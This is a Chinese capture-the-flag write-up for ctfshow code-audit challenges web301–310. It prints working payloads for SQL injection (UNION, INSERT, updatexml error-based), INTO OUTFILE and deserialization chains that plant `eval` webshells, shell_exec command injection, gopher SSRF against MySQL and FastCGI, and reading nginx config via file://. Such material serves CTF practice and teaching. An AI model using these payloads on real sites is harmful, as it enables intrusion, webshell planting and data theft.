ctfshow代码审计篇

news2024/11/28 16:01:07

文章目录

    • web301-SQL注入
    • web302- sql写shell
    • web303- insert
    • web304- 报错注入
    • web305- 反序列化蚁剑连接数据库
    • web306- 反序列化
    • web307- shell_exce()
    • web308- ssrf打mysql
    • web309- ssrf打fastcgi
    • web310- ssrf+fastcfgi写shell

web301-SQL注入

image-20230124164010013

check.php

$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);

if(!strcasecmp($userpwd,$row['sds_password'])){
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}

登录框存在sql注入

strcasecmp(str1,str2):比较字符串

如果 str1 小于 str2 返回 < 0, 如果 str1 大于 str2 返回 > 0,如果两者相等,返回 0

strcasecmp($userpwd,$row['sds_password']):意思是只要经过SQL执行后的结果等于我们输入的pwd即可登录
由于没有任何过滤,可以使用union注入

userid=0' union select 1#&userpwd=1

登录进去即可拿到flag

另一个方法,union注入 写shell进去

userid=1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"#&userpwd=1

image-20230124171614321

web302- sql写shell

修改的地方:

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

思路与上题一样,不过是输入的password经过了一点加密,构造一下就行

sql注入写shell也是没问题的,因为sql语句依旧是正常执行了

userid=1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"#&userpwd=1

web303- insert

对username进行了字符长度限制阻止这里注入,其他不变

但是sql文件里有账密的信息

image-20230124233602936

这个admin:admin直接登录进去

dptadd.php存在注入点

image-20230124232156486

insert没有过滤

然后定位到dpt.php插入的数据从sds_dpt查询数出来

image-20230124232240643
insert into sds_dpt set sds_name='1',sds_address =(select database())#

就在这里进行注入

image-20230124233824338
dpt_name=1',sds_address =(select database())#
# 得到 sds

dpt_name=2',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())#
# 得到    sds_dpt,sds_fl9g,sds_user

dpt_name=3',sds_address =(select group_concat(column_name) from information_schema.columns where table_name="sds_fl9g")#
# 得到 flag

dpt_name=4',sds_address =(select group_concat(flag) from sds_fl9g)#

image-20230125001202974

web304- 报错注入

增加了全局waf

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}

似乎没有调用,与上题一样,换一种方式,有报错信息就试试报错注入

报错回显字符有限制 用substr

查库
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
查表
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
查字段
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='sds_flaag'),0x7e),1)#

查flag
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_flaag),1,30),0x7e),1)#

dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from          sds_flaag),20,30),0x7e),1)#

image-20230125004100220

web305- 反序列化蚁剑连接数据库

waf过滤很多 不能注入了

多了个反序列化

class.php

class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

反序列化点在checklogin.php的cookie

$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
	$user = unserialize($user_cookie);
}

利用起来很简单,file_put_contents写马进去即可 ,然后cookie传入payload

<?php
class user{
    public $username;
    public $password;
    public function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
    }
}

$s = new user('shell.php','<?php eval($_POST[1]);?>');
echo urlencode(serialize($s));
O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

因为flag在数据库里,蚁剑连上后要连数据库

image-20230125013705560

image-20230125013428353 image-20230125013739986 image-20230125013800881

web306- 反序列化

关键代码

//class.php
class log{
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
		$this->info=$this->info.$info;
	}
	public function close(){
		file_put_contents($this->title, $this->info);
	}

可以利用file_put_contents来写shell ,需要调用close()方法

//dao.php

image-20230126123839599

dao类中的destruct()方法调用了 close()

index.php中有反序列化点

image-20230126124222196

那么就在这里进行构造

dao::__destruct()-->log::close()

poc:

<?php
class log{
    public $title = '1.php';
    public $info = '<?php eval($_POST[1]);?>';
}

class dao
{
    private $conn;
    public function __construct($conn){
        $this->conn=$conn;
    }
}

$s = new dao(new log());
echo base64_encode(serialize($s));
TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319

传入cookie的user参数

访问下index.php就可以生成文件了

image-20230126130446153

web307- shell_exce()

与上题比较是 方法名改了,closelog()无法调用

image-20230126131348555

放进seay里面扫一下

image-20230126131514606

dao.php里面有个 shell_exec()

class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->config=new config();
		$this->init();
	}
    public function  clearCache(){
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}
}

$this->config->cache_dir可以构造,继续跟进config类

image-20230126131740698

shell_exec()可以执行echo命令 写入shell

我们期望构造出 shell_exec('echo "<?php eval($_POST[1]);?>" > 1.php;')

$cache_dir = '; echo "<?php eval($_POST[1]);?>" > 1.php; ' 

继续跟进clearCache()方法

logout.php存在 反序列化点并且调用了clearCache()

根据以上条件即可构造poc

<?php
class config{
    public $cache_dir = '; echo "<?php eval(\$_POST[1]);?>" > 1.php; ' ;  这里需要转义$符
}

class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}

$s = new dao();
echo base64_encode(serialize($s));
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDQ6IjsgZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPiAxLnBocDsgIjt9fQ==

访问反序列化的入口文件:/controller/logout.php

image-20230126135852281

image-20230126140031274

web308- ssrf打mysql

这里加上了waf,只能匹配纯字母,所以这里不能利用了

image-20230126163141651

seay也没扫出别的漏洞点,多了个checkVersion()方法

跟进checkUpdate()

image-20230126163315724

发现是存在ssrf

config.php 发现 用户root 密码空

image-20230126165253647

可以通过gopher 来生成 打mysql的payload

image-20230126172334045

继续查看哪里调用了checkVersion()

index.php ,与上题一样 ,需要反序列化调用到dao类

image-20230126164332473

构造poc:

<?php
class config{
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
}

class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}
$s = new dao();
echo base64_encode(serialize($s));

反序列化点index.php

image-20230126170929103

image-20230126172310733

web309- ssrf打fastcgi

需要拿shell,308的方法不行了,mysql 有密码了

代码是和308一样,不过不能通过ssrf打mysql了

这题是通过ssrf利用fastcgi,ssrf利用fastcgi此文章讲的很好

https://blog.csdn.net/weixin_39664643/article/details/114977217

FastCGI攻击需要满足三个条件:
1. PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件
2. 知道题目环境中的一个PHP文件的绝对路径
3.PHP-FPM监听在本机9000端口

利用gopherus工具可以 FastCGI 执行任意命令

image-20230126175747157

payload还是用上面的poc来反序列化传入

image-20230126180020760

web310- ssrf+fastcfgi写shell

给的源码还是308,还是用fastcgi,这次直接写shell进去,因为flag文件不知道在哪

image-20230126184557027

成功写入后可以直接找flag在var目录下

image-20230126185250486

还可以使用file://协议读取配置文件 /etc/nginx/nginx.conf

<?php
class config{
    public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}
$s = new dao();
echo base64_encode(serialize($s));

image-20230126190029709

4476端口对应着 /var/flag目录,有个index.html文件,这和我们连上蚁剑后知道的一样

直接ssrf访问这个端口

<?php
class config{
    public $update_url = 'http://127.0.0.1:4476';
}
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}
$s = new dao();
echo base64_encode(serialize($s));

image-20230126190545934

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/180158.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

php实现短链接系统

依据第二种算法&#xff0c;URL长连接转短连接实现方法如下&#xff1a; 语言&#xff1a;PHP5.6 服务器环境&#xff1a;LNMP 假设&#xff1a;长连接地址&#xff1a;http://www.test.com/index.php 短连接地址&#xff1a;http://t.test.com/六位code码 第一步&#xff…

Ubuntu18上安装搜狗输入法

一、说明 在ubuntu上安装中文输入法会经常遇到问题。本文是作者经过历次艰苦卓绝的努力后&#xff0c;安装成功的总结。这里稍作记录&#xff0c;以便日后安装时查询。 二、版本选择 注意&#xff1a;目前的搜狗和ubuntu版本是有个配套问题&#xff0c;如下表所列&#xff1a; …

【Typescript学习】使用 React 和 TypeScript 构建web应用(一)预览成品、初始化react项目、常见类型

教程来自freecodeCamp&#xff1a;【英字】使用 React 和 TypeScript 构建应用程序 跟做&#xff0c;仅记录用 其他资料&#xff1a;https://www.freecodecamp.org/chinese/news/learn-typescript-beginners-guide/ 第一天 1 学习目标&#xff08;我个人的&#xff09; 入门 …

开启前端CSS学习之路-css001

&#x1f60a;博主页面&#xff1a;鱿年年 &#x1f449;博主推荐专栏&#xff1a;《WEB前端》&#x1f448; ​&#x1f493;博主格言&#xff1a;追风赶月莫停留&#xff0c;平芜尽处是春山❤️ 目录 前言 一、CSS简介 1.HTML的局限性 2.CSS-网页美容师 3.CSS语法规范…

ccflow 代码

java 工作流的开发框架目录概述需求&#xff1a;设计思路实现思路分析1.工作流参考资料和推荐阅读Survive by day and develop by night. talk for import biz , show your perfect code,full busy&#xff0c;skip hardness,make a better result,wait for change,challenge S…

十大常见排序算法(java编写)

日升时奋斗&#xff0c;日落时自省 目录 1、插入排序 2、希尔排序 3、选择排序 4、堆排序 5、冒泡排序 6、快速排序 6.1、Hoare法找基准值 6.2、挖坑法找基准值 6.3、快慢指针找中间值 6.4、优化 6.5、非递归排序 7、归并排序 7.1、递归实现 7.2、非递归实现 7.…

车载通信协议-列车实时数据协议(TRDP)

TCNOPEN是一个铁路行业相关的合作伙伴创建的开源的倡议&#xff0c;其目的是建立一些新的或即将出台的铁路标准的关键部分&#xff0c;通常以TCN命名。TCN&#xff08;列车通信网络&#xff09;是IEC&#xff08;国际电工委员会&#xff09;第43工作组制定的一系列国际标准&…

C++学习/温习:新型源码学编程(一)

写在前面 本文约15页&#xff0c;如觉得文章过长请通过左侧边栏或知识点概览目录浏览食用面向初学者撰写专栏&#xff0c;个人原创的学习C/C笔记&#xff08;干货&#xff09;编程练习所作源代码输出内容为中文&#xff0c;便于理解如有错误之处请各位读者指正请读者评论回复、…

Go语言基础突破(一)——基础语法快速上手

文章目录一、本次学习重点内容&#xff1a;二、详细知识点介绍&#xff1a;1、什么是Go语言特点&#xff1a;2、为什么字节跳动全面使用go语言:3、开发环境——安装Golang&#xff1a;4、推荐编辑器&#xff1a;VScode、Goland5、基础语法1、HolleWorld2、基础语法——变量声明…

Ubuntu 玩机笔记

键盘Fn无法切换功能键与多媒体键 终端输入&#xff1a; echo 2 | sudo tee /sys/module/hid_apple/parameters/fnmode然后再长按 FnXL 约四秒即可成功使用Fn切换功能键与多媒体键。 永久生效 以上方法只是输入命令后生效&#xff0c;想要永久生效&#xff0c;可以进行如下操…

深度学习-吴恩达(C5)训练词向量

2.1 词汇表征 上周我们学习了RNN、GRU单元和LSTM单元。本周你会看到我们如何把这些知识用到NLP上&#xff0c;用于自然语言处理&#xff0c;深度学习已经给这一领域带来了革命性的变革。其中一个很关键的概念就是词嵌入&#xff08;word embeddings&#xff09;&#xff0c;这…

手机提供GMS支持(适用安卓和鸿蒙系统)

手机提供GMS支持 - 适用安卓和鸿蒙系统前言方式1&#xff1a;安装GMS套件&#xff08;不推荐&#xff09;方式2&#xff1a;安装OurPlay&#xff08;推荐&#xff09;方式3&#xff1a;安装Gspace&#xff08;推荐&#xff09;前言 本文提供多种为手机&#xff08;安卓和鸿蒙系…

数据库系统概论①——数据库系统基本概念

文章目录1、数据库的相关术语1.1 数据(Data)1.2 数据库(Database,简称DB)1.2.1 数据库的定义&#xff1a;数据库是长期储存在计算机内、有组织的、可共享的数据集合。1.2.2 数据库的特征1.3 数据库管理系统&#xff08;DBMS&#xff09;1.3.1 DBMS的主要功能1.4 数据库系统&…

自己动手写一个操作系统——MBR(4)_调试_elf_bin

文章目录前言elf 文件指定代码入口地址添加调试信息代码检验调试小结前言 通过 GDB 我们可以跟踪程序的执行&#xff0c; 并且能够看到寄存器的状态&#xff0c; 但是&#xff0c;上面这种调试方式&#xff0c;没有和代码对应起来&#xff0c;以致于我们无法直观地知道 CP…

CodeSYS之一EtherNET驱动禾川电机

硬件:HCFA Q0-1100系列CPU X3EB 驱动器, SV-X2MHO40A伺服电机,24V开关电源。 硬件连接: 电机三相线和编码器线接X3EB驱动器,24V电源接X3EB驱动器,驱动器IN网口接 CPUPort2,CPU接24V电源,Port1 接电脑。 这部分有问题可以直接进禾川官网 一、驱动器调试 接好先后,按驱动…

边缘检测、Padding、stride、三维卷积

目录1.边缘检测(edge detection)当我们做物体识别的时候&#xff0c;一般神经网络的前几层会进行边缘检测&#xff0c;然后检测到物体的一部分&#xff0c;最后检测到整个物体。边缘检测例子&#xff1a;垂直边缘检测器&#xff1a;中间的一个3x3的矩阵&#xff0c;我们称之为过…

力扣sql简单篇练习(六)

力扣sql简单篇练习(六) 1 变更性别 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 # set子句中也是可以使用if函数的 UPDATE Salary SET sexif(sexf,m,f)1.3 运行截图 2 销售员 2.1 题目内容 2.1.1 基本题目信息1 2.1.2 基本题目信息2 2.1.3 示例…

代码随想录--二叉树章节总结 Part I

代码随想录–二叉树章节总结 Part I 1.Leetcode144 前序遍历二叉树 给你二叉树的根节点 root &#xff0c;返回它节点值的 前序 遍历 解题思路1&#xff1a;使用递归解决。 public List<Integer> preorderTraversal(TreeNode root) {ArrayList<Integer> list …

c中对宏的理解(面试题)

1、gcc的编译过程&#xff1a;预处理、编译、汇编、链接 预处理&#xff1a;宏替换、删除注释、头文件包含、条件编译 -E &#xff08;不会发生报错&#xff09;生成预编译文件 将 01_code.c文件使用 gcc -E 01_code.c -o 01.i生成预编译文件01.i 可以10行的源文件看见生成800…

【c语言进阶】枚举与联合体的基本知识大全

&#x1f680;write in front&#x1f680; &#x1f4dc;所属专栏&#xff1a;c语言学习 &#x1f6f0;️博客主页&#xff1a;睿睿的博客主页 &#x1f6f0;️代码仓库&#xff1a;&#x1f389;VS2022_C语言仓库 &#x1f3a1;您的点赞、关注、收藏、评论&#xff0c;是对我…